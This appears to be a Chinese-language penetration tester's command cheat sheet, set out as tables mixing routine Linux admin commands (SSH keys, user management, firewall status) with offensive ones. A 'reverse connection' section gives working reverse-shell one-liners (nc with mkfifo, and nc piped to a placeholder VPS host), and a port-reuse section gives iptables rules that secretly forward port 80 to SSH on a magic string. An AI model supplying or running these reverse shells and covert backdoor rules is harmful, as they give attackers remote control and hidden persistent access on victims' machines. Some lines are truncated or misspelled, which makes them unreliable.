生成公钥私钥文件 | ssh-keygen -t rsa |
默认路径如下 私钥: /root/.ssh/id_rsa 公钥: /root/.ssh/id_rsa.pub 把公钥存到目标主机的 /root/.ssh/authorized_keys 路径即可 |
用户
作用 | 命令 | 备注 |
---|---|---|
查看最近登录用户信息 | w | |
非交互式创建用户 | useradd -m test echo "123456" | passwd --stdin test |
用户test |
终结用户的所有进程 | pkill -u test | 用户test |
删除用户 | userdel -r test | 用户test,-r 表示删除用户的同时,将其宿主目录和系统内与其相关的内容删除 |
系统
作用 | 命令 | 备注 |
---|---|---|
查看系统内核版本 | uname -srm | |
查看内核版本 | hostnamectl |
反连
作用 | 命令 | 备注 |
---|---|---|
向VPS发送一个nc反弹shell | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc VPS地址 端口 >/tmp/f | |
向VPS发送一个nc反弹shell | nc VPS地址 3333 | /bin/bash | nc VPS地址 4444 | |
node反弹shell | sudo node -e ‘child_process.spawn(“/bin/bash”,{stdio:[0,1,2]})’ |
防火墙
作用 | 命令 | 备注 |
---|---|---|
查看防火墙运行状态 | systemctl status firewalld.service | |
开启防火墙 | systemctl start firewalld.service | |
检查当前的 IP 转发状态 | sysctl net.ipv4.ip_forward | 如果输出为 net.ipv4.ip_forward = 0,表示 IP 转发功能被禁用 |
修改内核参数来启用 IP 转发 | sudo sysctl -w net.ipv4.ip_forward=1 | 设置是临时的,在系统重启后会失效。 |
端口复用 | iptables -t nat -N LETMEIN iptables -t nat -A LETMEIN -p tcp -j REDIRECT –dport 80 –to-port 22 |
先创建一个端口复用链子 LETMEIN; 创建一个端口复用规则,用于将主机接收的 80 端口流量转发至 22 端口 |
端口复用(执行数据可复用端口) | iptables -A INPUT -p tcp -m string –string ‘threathunterleaving’ –algo bm -m rece iptables -t nat -A PREROUTING -p tcp –dport 80 –syn -m recent –rcheck –seconds 3600 |
包含特定字符串 ‘threathunterleaving’ 的 TCP 数据包,并从名为 “letmein” 的 recent 集合中移除这些数据包的源 IP 地址 对于到达主机的目标端口为 80 的 TCP SYN 包,检查源 IP 地址是否在 “letmein” 集合中,并且在最近的 3600 秒内已经加入。如果满足这些条件,将数据包跳转到 “LETMEIN” 链进行后续处理。 socat官网 连接方式: 1. 先开启复用,echo threathuntercoming | socat - tcp:目标地址:80 2. 连接SSH,ssh -p 80 root@目标地址 3.关闭复用,echo threathunterleaving | socat - tcp:目标地址 |
MAC
作用 | 命令 | 备注 |
---|---|---|
移除程序“映像损坏”提示 | sudo xaaatr -r -d com.apple.quarantine /Applications/程序.app | |
其他
作用 | 命令 | 备注 |
---|---|---|
mvn下载jar | mvn install | |
source-map还原js | reverse-sourcemap -v map文件路径 -o 文件夹 | |
查看内存 | show run | EG |
查看用户信息 | show webmaster user | EG |